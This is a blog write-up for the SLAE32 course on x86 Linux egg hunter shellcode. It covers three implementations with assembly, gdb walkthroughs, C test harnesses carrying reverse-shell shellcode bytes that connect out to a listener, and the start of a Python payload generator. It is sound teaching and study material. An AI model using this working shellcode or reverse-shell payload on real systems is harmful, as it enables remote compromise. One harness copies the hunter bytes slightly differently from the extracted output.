In this blog post, we will be covering our process behind understanding and implementing egg hunter shellcode for x86 Linux in assembly.
This post follows on in the series of posts created for the SLAE32 certification course provided by Pentester Academy.
Overview
During exploit development, one of the key contraints separating a successful exploit from an unsuccessful exploit is memory space restrictions.
In a given memory corruption vulnerability, whilst it may be possible to redirect execution flow (i.e., overwriting EIP) to a shellcode buffer of your choosing, you may not necessarily have enough space to execute the shellcode you desire following this initial overwrite. This is where the idea behind an 'egg hunter' comes in.
The paper Safely Searching Process Virtual Address Space by Skape details how a process' virtual address space can be searched for a tag (referred to as an egg) prepending shellcode payload placed by an attacker in an non-deterministic location in memory.
The technique described by Skape is designed to overcome the dangers of searching through unallocated memory regions for the egg. One of the challenges this must account for is the fact there is no way of telling initially if a memory page is mapped or has the correct access permissions. With this in mind, an ideal 'egg hunter' is defined in the paper by the following three characteristics:
- Robust
- The egg hunter must be capable of searching through invalid memory without crashing, as well as being able to search anywhere in memory.
- Small
- By nature, egg hunters must be small in order to fit where larger, more desirable payloads cannot.
- Fast
- The methods to search memory must be as quick as possible without hindering size or robustness. The faster the egg hunter finds the egg, the less time the application will hang.
Egg hunter syscalls
Whilst egg hunters can be implemented in both Windows and Linux, for the purposes of this blog we are focused on x86 Linux as our target architecture. As such, we will be looking into those types of syscalls we can use to build an egg hunter.
The primary job of our syscalls in writing an egg hunter is to validate process memory addresses. When a system call is passed an invalid memory address, it will in most cases return the EFAULT error code to indicate this. Most importantly, this information can be gathered by the syscall without crashing the process, making it the perfect approach for an egg hunter.
Of the x86 Linux syscalls available, the following syscalls can be used to implement egg hunters:
- access()
- sigaction()
In this blog post, we will cover and analyse the examples presented in the paper by Skape, two of which use the access() syscall, and the last, sigaction().
This blog post will cover the intial concepts around egg hunters with an in-depth look at the first access() implementation. Following this is a lighter analysis of the implementations of the second access() and sigaction() egg hunters.
We'll start with the first egg hunter example using access().
Egg hunters using access()
The access() call is used to check whether the calling process can access the file designated by pathname.
According to the system call reference file in /usr/include/i386-linux-gnu/asm/unistd_32.h, the syscall number for access() is 33.
Before we jump in to the implementation, first we review the access() syscall's man page to understand what it does.
The access() call uses the following function header:
int access(const char *pathname, int mode);
Syscall | Argument | Man Reference |
---|---|---|
access | pathname | Path to file being checked |
access | mode | Specifies the accessibility check to be performed |
Along with the pathname, the mode checks with an accessibility specifier. By default, this value is set to F_OK, which tests for the existence of the given file.
We can use this function with our egg hunter implementation to repeatedly attempt to access areas of memory in search of the egg.
access() argument structure
A breakdown of the arguments to access() is as follows:
Syscall | Argument | Man Reference | C Code Reference |
---|---|---|---|
access | pathname | Path to file being checked | - |
socket | mode | Specifies the accessibility check to be performed | F_OK |
Now that we know the initial values to call access(), we can begin structuring the rest of the egg hunter code around it.
Choosing an Egg
An 'egg' in the shellcode sense will mark the beginning of our shellcode, and will be located using our program.
As the egg will serve as a precursor to our second stage shellcode, depending on our egg hunter implementation, the instructions making up the egg may end up being inadvertently executed during the search process. This means that we need to be sure that the shellcode making up the egg itself does not introduce any harmful behaviour. Secondly, the egg needs to be distinguishable from common sequences of bytes in the program. The paper uses the below pattern as its egg, which when assembled is unique, and does not introduce umnwanted behaviour:
00000000 90 nop
00000001 50 push eax
00000002 90 nop
00000003 50 push eax
00000004 90 nop
00000005 50 push eax
00000006 90 nop
00000007 50 push eax
The above egg is 8 bytes, as this introduces a sufficient level of uniqueness whilst still being considered small enough. Whilst a shorter egg of 4 bytes may be possible, there is a higher likelihood of a smaller egg having collisions occuring within memory, leading to false positive results of our egg being found.
Structuring the Egg hunter
Now that we know what we are searching for, we can move onto implementing the first example egg hunter shellcode, which we will do in blocks.
Below, we walk through both examples of the access() egg hunters.
Egg hunter 1 (access())
According to the reference paper, the firstaction() egg hunter is characterised by the following:
- Size: 39 bytes
- Targets: Linux
- Egg Size: 8 bytes
- Executable Egg: Yes
- Speed: 8 seconds (0x0 . . . 0xbfffebd4)
The reference assembly instructions for the first access() egg hunter are as follows:
00000000 BB90509050 mov ebx,0x50905090
00000005 31C9 xor ecx,ecx
00000007 F7E1 mul ecx
00000009 6681CAFF0F or dx,0xfff
0000000E 42 inc edx
0000000F 60 pusha
00000010 8D5A04 lea ebx,[edx+0x4]
00000013 B021 mov al,0x21
00000015 CD80 int 0x80
00000017 3CF2 cmp al,0xf2
00000019 61 popa
0000001A 74ED jz 0x9
0000001C 391A cmp [edx],ebx
0000001E 75EE jnz 0xe
00000020 395A04 cmp [edx+0x4],ebx
00000023 75E9 jnz 0xe
00000025 FFE2 jmp edx
Initial setup
At the start of the assembly code, the first few instructions involve moving the egg into EBX and clearing the registers. Below, the code does this by first XORing ECX, and then using mul
.
mov ebx, 0x50905090; Move the egg into EBX register
xor ecx, ecx; Clear ECX register
mul ecx; Clear EAX and EDX registers
The mul
assembly instruction multiplies the value of EAX with the value in the given register, ECX and stores the result in EDX. Given that ECX was cleared before the call to mul
, both EAX and EDX become zero.
Iterating through memory
Next, the DX register is ORed with the value 0xfff. As DX is initially set to 0, this operation will set DX to 0xfff.
The purpose of this operation is to shift DX to the last address in the current memory page. As the smallest unit of memory on 32-bit linux is the size of a page, it can be assumed that all the memory addresses in the current page are invalid if one address is.
or dx, 0xfff; Go to last address in the memory page
Now that the code can iterate through memory in terms of pages, the egg hunter has to define a way to iterate through the address of a page it finds to be valid. It does this by increasing the memory counter by incrementing EDX as follows:
inc edx; Increase the memory counter by 1
Checking the memory page
The main interest of an egg hunter is how it determines whether the current memory page it is looking at is valid.
First, the register values are pushed to the stack in order to save them. This is so we can keep track of our location in memory in between subsequent syscalls to access(), which, as we know conventionally uses the R32 registers to hold its arguments.
Next, the address of EDX + 0x4, which points to the memory address to be validated, is moved into EBX, the pathname argument. Next, the syscall value of 0x21, which corresponds to 33 for access() is moved into AL.
Once the syscall is executed, the result which is put into the AL register is compared against 0xf2, which indicates an access violation. The cmp function essentially negates the second register from the first, and sets the ZF zero flag if they are equal. Finally, the popa instruction is called, which restores the register values.
pusha; Push the registers to the stack to save them
lea ebx,[edx+0x4]; Set EBX to the pathname pointer
mov al,0x21; Set al to syscall number 33 in hex
int 0x80; Execute access() syscall
cmp al, 0xf2; Check if result is an access violation
popa; restore registers
Locating the egg
In the next segment, the assembly code checks the outcome of the comparison between AL and 0xf2, to see if the memory page is invalid. If the ZF flag is 1, indicating invalid memory, the shellcode will jump back to the segment responsible for incrementing the page number by one, so as to move onto the next memory page in the search.
Next, the contents of EBX, which once again thanks to the popa instruction contains the value of the egg, is compared against the pointer stored in EDX, which points to the current memory page. If they do not match, the shellcode will increment the memory counter by 1 to continue looking.
If a match occurs, a secondary cmp instruction is used to compare the egg in EBX with the EDX+ 0x4 address, which, as we know that the egg in this case is a repeat sequence of 8 bytes (\x50\x90\x50\90\x50\x90\x50\x90, will be equal in the case that we have found the egg.
jz _loop_inc_page; If access violation, jump to next page in memory
cmp [edx],ebx; Check for first half of egg
jnz _loop_inc_one; If no match, increment memory counter by one
cmp [edx+0x4],ebx; Check for second half of egg
jnz _loop_inc_one; If no match, increment memory counter by one
Launching the second stage
If both comparisons match, then we have successfully located the egg, which is pointed to in EDX. As the egg is designed to prelude our second stage shellcode, the program now jumps to the shellcode for execution.
_matched:
jmp edx; If match, jmp to memory address containing egg
Egg hunter 1 assembly code
The complete assembly implementation of the first access() egg hunter is as follows:
; egg_hunter_x86.nasm
; Author: Jack McBride (PA-6483)
; Website: https://jacklgmcbride.co.uk
;
; Purpose: SLAE32 exam assignment
;
; Assignment 3: Linux x86 Egg Hunter Shellcode
global _start
section .text
_start:
_setup:
mov ebx, 0x50905090; Move the egg into EBX register
xor ecx, ecx; Clear ECX register
mul ecx; Clear EAX and EDX registers
_loop_inc_page:
or dx, 0xfff; Go to last address in the memory page
_loop_inc_one:
inc edx; Increase the memory counter by 1
_loop_check:
pusha; Push the registers to the stack to save them
lea ebx,[edx+0x4]; Set EBX to the pathname pointer
mov al,0x21; Set al to syscall number 33 in hex
int 0x80; Execute access() syscall
cmp al, 0xf2; Check if result is an access violation
popa; restore registers
_loop_check_valid:
jz _loop_inc_page; If access violation, jump to next page in memory
cmp [edx],ebx; Check for first half of egg
jnz _loop_inc_one; If no match, increment memory counter by one
cmp [edx+0x4],ebx; Check for second half of egg
jnz _loop_inc_one; If no match, increment memory counter by one
_matched:
jmp edx; If match, jmp to memory address containing egg
Testing the first egg hunter
Now that we have our assembly code completed, we can compile the egg hunter with nasm.
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 3: Egg Hunter Shellcode]
└─# nasm -f elf32 -o egg_hunter_access_1_x86.o egg_hunter_access_1_x86.nasm
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 3: Egg Hunter Shellcode]
└─# ld -o egg_hunter_access_1_x86 egg_hunter_access_1_x86.o
Now if we run the compiled binary, we notice it just hangs. This is because we haven't given the hunter an egg to hunt!
Before we do anything, we extract the egg hunter shellcode using a objdump one-liner from CommandlineFu:
As we can see, there are no null bytes in the egg hunter shellcode.
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 3: Egg Hunter Shellcode]
└─# objdump -d egg_hunter_access_1_x86 |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2"
To properly test the egg hunter, we can provide it with a second stage payload which is prepended with the egg. The below program does this. In this case, our secondary buffer will execute a reverse connection back to our machine. More details on the TCP reverse shell shellcode can be found in the second blog post.
#include<stdio.h>
#include<string.h>
unsigned char egghunter[] = \
"\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2";
unsigned char code[] = \
"\x90\x50\x90\x50\x90\x50\x90\x50\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x89\xc2\x31\xc0\xb0\x66\x31\xdb\xb3\x03\x31\xff\xbf\x3f\x57\x96\x68\x83\xf7\xff\x31\xc9\x57\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\x6a\x10\x56\x52\x89\xe1\xcd\x80\x52\xb0\x3f\x5b\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80";
int main()
{
printf("Egg hunter Length: %d\n", strlen(egghunter));
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())egghunter;
ret();
}
In the above shellcode, we have made a slight modification to the code
variable, in that we have prepended it with our egg \x90\x50\x90\x50\x90\x50\x90\x50
.
We compile the shellcode using gcc as below:
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 3: Egg Hunter Shellcode]
└─# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
We set up a netcat listener, execute the compiled shellcode binary and obtain a reverse shell, indicating that the egg hunter found our shellcode and executed it. Success!
Egg hunter 1 analysis
Next, we fire up gdb and begin our analysis on what is happening at an assembly level. To make things easier, we have installed the PEDA add-in for gdb, which can be found here.
To begin, we set a breakpoint on the main function and run the program:
Next, we resolve the memory address storing our egg hunter shellcode and set a breakpoint to it:
Next, we continue execution to the breakpoint and begin to step through it.
We reach the point where the initial register setup is done, and EDX is set to the first memory page.
The EAX and EBX registers are prepared for the call to access(), which will check whether the memory address value pointed to by EBX (0x1004) is valid memory or not.
We see that after the call to access(), the EAX register is set to the value 0xfffffff2, indicating the memory area was invalid.
As AL was set to 0xf2, the subsequent cmp instruction resolves to 0, which then sets the ZF zero flag as shown below:
As a result of this zero flag being set, the subsequent JE instruction is taken:
This means the shellcode jumps back to the or dx, 0xfff instruction, which is used to increment the page at which the egg hunter is checking for validity.
As the DX register was previously set to 0x1000 the OR operation increments the register to be pointing at the next page in the same way:
And once again, EDX is incremented by 0x1 to point it to the start of the next page:
The egg hunter shellcode will continue in this fashion, iterating over each and every page in memory until it is checking a valid memory page.
We can speed up that process by setting a breakpoint following the JE instruction:
We then issue c for continue, and our program reaches the breakpoint. As we can see, at this point in the code, EDX has the value 0x400000:
At this point, the program compares the contents of the memory location pointed to by EDX with EBX, which points to the egg. If they are not equal, which in this case is true, the code takes the JNE instruction and jumps to 0x40404e.
At 0x40404e, EDX is incremented by one. It is now pointing to the next address of the same valid page.
So in basic terms, the egg hunter is iterating over each page in memory, identifying a valid page, and then iterating over each address in that valid page.
The below pseudo-code sums up this concept programmatically:
for i in pages:
if i is valid:
for j in addresses:
if j is egg:
// partial egg match found
else:
// go to next address
else:
// go to next page
We set a breakpoint on after the JNE instruction to fast-forward to when the egg hunter has located a match between EDX and the first half of the egg:
At this point in the program, the egg hunter has identified the first four bytes of the egg, and is now checking the next four bytes, as referenced by EDX + 0x4. If there is a match, the egg has been found, and the egg hunter can subsequently jump to EDX where the shellcode is located.
In this first case, only half of the egg was apparently matched. We get a view on this by examining the bytes located at the EDX register, and then EDX + 0x4 which the second cmp instruction is checking.
As a result, the JNE is taken.
We continue to our breakpoint on the CMP instruction again, and this time we inspect the EDX and EDX + 0x4 registers, to find that both halves of the egg were found. Nice!
This will now satisfy the condition of the CMP instruction, meaning the subsequent JNE will not be taken.
Finally, the egg hunter proceeds to the JMP EDX statement:
Which executes our second stage reverse shell shellcode:
With our analysis of the first access() egg hunter implementation complete, we next move on to looking at the changes in the second implementation.
Egg hunter 2 (access())
According to the reference paper, the second access() egg hunter is characterised by the following:
- Size: 35 bytes
- Targets: Linux
- Egg Size: 8 bytes
- Executable Egg: No
- Speed: 7.5 seconds (0x0 . . . 0xbfffebd4)
The assembly instructions for the second access() egg hunter are as follows:
00000000 31D2 xor edx,edx
00000002 6681CAFF0F or dx,0xfff
00000007 42 inc edx
00000008 8D5A04 lea ebx,[edx+0x4]
0000000B 6A21 push byte +0x21
0000000D 58 pop eax
0000000E CD80 int 0x80
00000010 3CF2 cmp al,0xf2
00000012 74EE jz 0x2
00000014 B890509050 mov eax,0x50905090
00000019 89D7 mov edi,edx
0000001B AF scasd
0000001C 75E9 jnz 0x7
0000001E AF scasd
0000001F 75E6 jnz 0x7
00000021 FFE7 jmp edi
Overall, this implementation has some minor differences to the original. We will look through these in each step of the shellcode below.
Comparisons with Egg hunter 1
To begin, the EDX register is cleared and DX is set to the last address in the memory page, as with the first implementation:
xor edx, edx; Clear EDX register
or dx, 0xfff; Go to last address in memory page
inc edx; Increase the memory counter by 1
Next, rather than save the register state with the pusha instruction, this implementation first loads EDX + 0x4 into EBX, and arranges for the syscall to access():
lea ebx,[edx+0x4]; Set EBX to the pathname pointer
push byte +0x21; Push 0x21 to the stack
pop eax; POP the 0x21 value into EAX register
int 0x80; Execute access() syscall
cmp al, 0xf2; Check if result is an access violation
The main change in implementation occurs in the checking procedure, when the shellcode determines if a memory page is valid, or an address in that page matches the egg.
This implementation uses the scasd instruction, which compares the contents of EAX with EDI. As scasd increments the EDI register by 0x4 after each comparison.
jz _loop_inc_page; If access violation, jump to next page in memory
mov eax, 0x50905090; Move the egg pattern into EAX register
mov edi, edx; Move the memory page to be scanned into EDI
scasd; Compare EAX and EDI for first half of egg
jnz _loop_inc_one; If no match, increment memory counter by one
scasd; Compare EAX and EDI for second half of egg
jnz _loop_inc_one; If no match, increment memory counter by one
jmp edi; If match, jmp to memory address containing egg
Egg hunter 2 assembly code
The complete assembly implementation of the second access() egg hunter is as follows:
; egg_hunter_access_2_x86.nasm
; Author: Jack McBride (PA-6483)
; Website: https://jacklgmcbride.co.uk
;
; Purpose: SLAE32 exam assignment
;
; Assignment 3: Linux x86 Egg Hunter Shellcode
global _start
section .text
_start:
_setup:
xor edx, edx; Clear EDX register
_loop_inc_page:
or dx, 0xfff; Go to last address in the memory page
_loop_inc_one:
inc edx; Increase the memory counter by 1
_loop_check:
lea ebx,[edx+0x4]; Set EBX to the pathname pointer
push byte +0x21; Push 0x21 to the stack
pop eax; POP the 0x21 value into EAX register
int 0x80; Execute access() syscall
cmp al, 0xf2; Check if result is an access violation
_loop_check_valid:
jz _loop_inc_page; If access violation, jump to next page in memory
mov eax, 0x50905090; Move the egg pattern into EAX register
mov edi, edx; Move the memory page to be scanned into EDI
scasd; Compare EAX and EDI for first half of egg
jnz _loop_inc_one; If no match, increment memory counter by one
scasd; Compare EAX and EDI for second half of egg
jnz _loop_inc_one; If no match, increment memory counter by one
_matched:
jmp edi; If match, jmp to memory address containing egg
Testing the second egg hunter
Now that we have our assembly code completed, we can compile the egg hunter with nasm and check it works correctly.
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 3: Egg Hunter Shellcode]
└─# nasm -f elf32 -o egg_hunter_access_2_x86.o egg_hunter_access_2_x86.nasm
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 3: Egg Hunter Shellcode]
└─# ld -o egg_hunter_access_2_x86 egg_hunter_access_2_x86.o
We extract the raw shellcode bytes using objdump:
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 3: Egg Hunter Shellcode]
└─# objdump -d egg_hunter_access_2_x86 |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"
We modify shellcode.c to use the second egg hunter shellcode:
#include<stdio.h>
#include<string.h>
unsigned char egghunter[] = \
"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe2";
unsigned char code[] = \
"\x90\x50\x90\x50\x90\x50\x90\x50\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x89\xc2\x31\xc0\xb0\x66\x31\xdb\xb3\x03\x31\xff\xbf\x3f\x57\x96\x68\x83\xf7\xff\x31\xc9\x57\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\x6a\x10\x56\x52\x89\xe1\xcd\x80\x52\xb0\x3f\x5b\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80";
int main()
{
printf("Egg hunter Length: %d\n", strlen(egghunter));
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())egghunter;
ret();
}
We compile the shellcode using gcc:
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 3: Egg Hunter Shellcode]
└─# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
We set up a netcat listener, execute the compiled shellcode binary and obtain a reverse shell. This time we note that the printed egg hunter shellcode size is smaller.
Egg hunter 2 analysis
Next, we inspect the second egg hunter implementation using gdb. We will start with the disassemble instruction:
As with the previous implementation, the EDX register is set up to iterate over the memory pages and address, and during each system call to access(), the current page is moved into EBX
We set a breakpoint immediately after the first JE instruction, which checks if the current memory page is valid.
We continue and hit the instruction where the egg is moved into the EAX register:
With the egg in EAX, we note that the current memory address is moved from EDX into EDI to be used with the upcoming scasd instruction:
Similar to the comparison carried out in the previous egg hunter, scasd compares whether the values pointed to by the address in EAX and EDI are equal. If not, the ZF is not flag. Subsequently, this means the shellcode takes the JNE back to iterate to the next address in the page.
We set a breakpoint to the next instruction to fast forward to a valid match with the egg:
In the above case, the first check has passed, and the second check is being made. From the register values, we see that EDI is not pointing to the egg, indicating only a half match.
As a result, the JNE is taken:
We set a breakpoint on the final jmp EDX instruction, and resume execution. This time, both halves of the egg are matched. Execution now continues the second stage of the payload. Success!
Finally, we look at a different implementation of the egg hunter shellcode, which instead leverages the sigaction() syscall.
Egg hunters using sigaction()
The sigaction() call is used to validate multiple addresses at a single time, by leveraging the kernel's verify_area routine.
According to the system call reference file in /usr/include/i386-linux-gnu/asm/unistd_32.h, the syscall number for sigaction() is 67.
Before we go any further, we look into the sigaction() syscall's man page to get a view on how it works.
The sigaction() call uses the following function header:
int sigaction(int signum, const struct sigaction *act,
struct sigaction *oldact);
Syscall | Argument | Man Reference |
---|---|---|
sigaction | signum | Specifies the signal |
signation | act | Pointer for validating memory regions |
signation | oldact | Previous act |
The structure of sigaction() itself is defined as follows:
struct sigaction {
void (*sa_handler)(int);
void (*sa_sigaction)(int, siginfo_t *, void *);
sigset_t sa_mask;
int sa_flags;
void (*sa_restorer)(void);
};
Egg hunter 3 (sigaction())
According to the reference paper, the sigaction() egg hunter is characterised by the following:
- Size: 30 bytes
- Targets: Linux
- Egg Size: 8 bytes
- Executable Egg: No
- Speed: 2.5 seconds (0x0 . . . 0xbfffebd4)
The reference assembly instructions for the sigaction() egg hunter are as follows:
00000000 6681C9FF0F or cx,0xfff
00000005 41 inc ecx
00000006 6A43 push byte +0x43
00000008 58 pop eax
00000009 CD80 int 0x80
0000000B 3CF2 cmp al,0xf2
0000000D 74F1 jz 0x0
0000000F B890509050 mov eax,0x50905090
00000014 89CF mov edi,ecx
00000016 AF scasd
00000017 75EC jnz 0x5
00000019 AF scasd
0000001A 75E9 jnz 0x5
0000001C FFE7 jmp edi
Initial setup
The sigaction() egghunter begins by setting CX to the last address in the memory page, as in the access() implementation:
or cx, 0xfff; Go to last address in the memory page
inc ecx; Increment the memory counter by 1
Next, the syscall number for sigaction() is pushed to the stack and popped into EAX, where it is called.
The result of sigaction() is then checked in AL by comparison with 0xf2, which indicates the memory page is invalid:
push byte +0x43; Push the syscall number 67 in hex to stack
pop eax; POP the syscall number to the EAX register
int 0x80; Execute sigaction() syscall
cmp al, 0xf2; Check if result is an access violation
Similarly to the second access() egg hunter shellcode, sigaction() implementation uses the scasd instruction to compare the contents of EAX and EDI
Largely, the rest of this code resembles what we've seen in the previous egg hunter implementations using access().
jz _loop_inc_page; If access violation, jump to next page in memory
mov eax, 0x50905090; Move the egg pattern into EAX register
mov edi, ecx; Move the memory page to be scanned into EDI
scasd; Compare EAX and EDI for first half of egg
jnz _loop_inc_one; If no match, increment memory counter by one
scasd; Compare EAX and EDI for second half of egg
jnz _loop_inc_one; If no match, increment memory counter by one
jmp edi; If match, jmp to memory address containing egg
Egg hunter 3 assembly code
The complete assembly code for the sigaction() egg hunter is as follows:
; egg_hunter_sigaction_x86.nasm
; Author: Jack McBride (PA-6483)
; Website: https://jacklgmcbride.co.uk
;
; Purpose: SLAE32 exam assignment
;
; Assignment 3: Linux x86 Egg Hunter Shellcode
global _start
section .text
_start:
_loop_inc_page:
or cx, 0xfff; Go to last address in the memory page
_loop_inc_one:
inc ecx; Increment the memory counter by 1
_loop_check:
push byte +0x43; Push the syscall number 67 in hex to stack
pop eax; POP the syscall number to the EAX register
int 0x80; Execute sigaction() syscall
cmp al, 0xf2; Check if result is an access violation
_loop_check_valid:
jz _loop_inc_page; If access violation, jump to next page in memory
mov eax, 0x50905090; Move the egg pattern into EAX register
mov edi, ecx; Move the memory page to be scanned into EDI
scasd; Compare EAX and EDI for first half of egg
jnz _loop_inc_one; If no match, increment memory counter by one
scasd; Compare EAX and EDI for second half of egg
jnz _loop_inc_one; If no match, increment memory counter by one
_matched:
jmp edi; If match, jmp to memory address containing egg
Testing the third egg hunter
Now that we have our assembly code completed, we can compile the egg hunter with nasm and check it works correctly.
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 3: Egg Hunter Shellcode]
└─# nasm -f elf32 -o egg_hunter_sigaction_x86.o egg_hunter_sigaction_x86.nasm
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 3: Egg Hunter Shellcode]
└─# ld -o egg_hunter_sigaction_x86 egg_hunter_sigaction_x86.o
We extract the raw shellcode using objdump:
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 3: Egg Hunter Shellcode]
└─# objdump -d egg_hunter_sigaction_x86 |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"
We modify shellcode.c to use the third egg hunter shellcode:
#include<stdio.h>
#include<string.h>
unsigned char egghunter[] = \
"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";
unsigned char code[] = \
"\x90\x50\x90\x50\x90\x50\x90\x50\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x89\xc2\x31\xc0\xb0\x66\x31\xdb\xb3\x03\x31\xff\xbf\x3f\x57\x96\x68\x83\xf7\xff\x31\xc9\x57\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\x6a\x10\x56\x52\x89\xe1\xcd\x80\x52\xb0\x3f\x5b\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80";
int main()
{
printf("Egg hunter Length: %d\n", strlen(egghunter));
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())egghunter;
ret();
}
We compile the shellcode using gcc:
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 3: Egg Hunter Shellcode]
└─# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
We set up the netcat listener, execute the compiled shellcode binary and obtain a reverse shell. This time we note that the printed egg hunter shellcode for sigaction() is less than both implementations using action(), at 30 bytes total.
Egg hunter 3 analysis
Next, we inspect the third egg hunter implementation using gdb, starting with the disassemble instruction:
The ECX register is set to the first page in memory to be checked for validity:
The syscall to sigaction() is set up by POPing 0x43 into the EAX register:
We see that the call to sigaction() works at an assembly level in almost the same way as the call to access(), with AL being compared to the value 0xf2 to indicate invalid memory.
We skip ahead to where the egghunter is loaded into memory, noting that this happens only after EDX is pointing to a valid page in memory.
The memory page contents in EDI is compared with the half half of the egg pointed to in EAX using scasd.
If that matches, the second scasd instruction is reached, to compare the second half of the egg.
If that also matches, the shellcode jumps to EDI, which points to our second stage shellcode.
That concludes our analysis on the egg hunter shellcode implementations covered in the paper Safely Searching Process Virtual Address Space by Skape.
Code
In addition to the assembly and C implementations of the egg hunter examples, we have implemented a Python wrapper script to automatically generate working demos of each egg hunter, with a choice of a bind or reverse shell payload.
This code is as follows:
#!/usr/bin/python3
import argparse
import sys
import os
import socket
def convert_args(address, port):
address = socket.inet_aton(address).hex()
le_address = bytearray.fromhex(address)
le_address.reverse()
address = "0x{0}".format(''.join(format(x, '02x') for x in le_address))
address = hex(int(address, 16) ^ 0xffffffff)
port = hex(socket.htons(port))
return address, port
def set_args(payload, address, port):
address, port = convert_args(address, port)
asm = open("tcp_{}_shell_x86.nasm".format(payload), 'rt')
data = asm.read()
if payload == "reverse":
data = data.replace('ADDRESS', address)
data = data.replace('PORT', port)
elif payload == "bind":
data = data.replace('PORT', port)
asm.close()
asm = open('tmp.nasm', 'wt')
asm.write(data)
asm.close()
def set_shellcode(egghunter, shellcode):
shellcode_file = open("shellcode.c", "rt")
data = shellcode_file.read()
data = data.replace("EGGHUNTER", egghunter)
data = data.replace("SHELLCODE", shellcode)
shellcode_file.close()
shellcode_file = open("tmp.c", "wt")
shellcode_file.write(data)
shellcode_file.close()
def gen_shellcode(filename):
stream = os.popen("""objdump -d {} |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'""".format(filename))
shellcode = stream.read().rstrip()
return shellcode.strip('"')
def print_egghunter(shellcode, technique):
print("\n[*] Generating shellcode for x86 egg hunter using {} technique".format(technique))
print("[*] Egg hunter length: %d bytes" % ((len(shellcode.replace("\\x", "")) /2)-1))
print("[*] Checking for NULL bytes...\n%s" % ("[-] NULL bytes found." if "00" in shellcode else "[+] No NULL bytes detected!"))
print('"' + shellcode + '"')
def print_shellcode(shellcode, payload, address, port):
print("\n[*] Generating shellcode for x86 TCP {0} shell on {1}:{2}".format(payload, address, port))
print("[*] Shellcode length: %d bytes" % ((len(shellcode.replace("\\x", "")) /2)-1))
print("[*] Checking for NULL bytes...\n%s" % ("[-] NULL bytes found." if "00" in shellcode else "[+] No NULL bytes detected!"))
print('"' + shellcode + '"')
def main():
parser = argparse.ArgumentParser(description='Generate x86 egg hunter shellcode.')
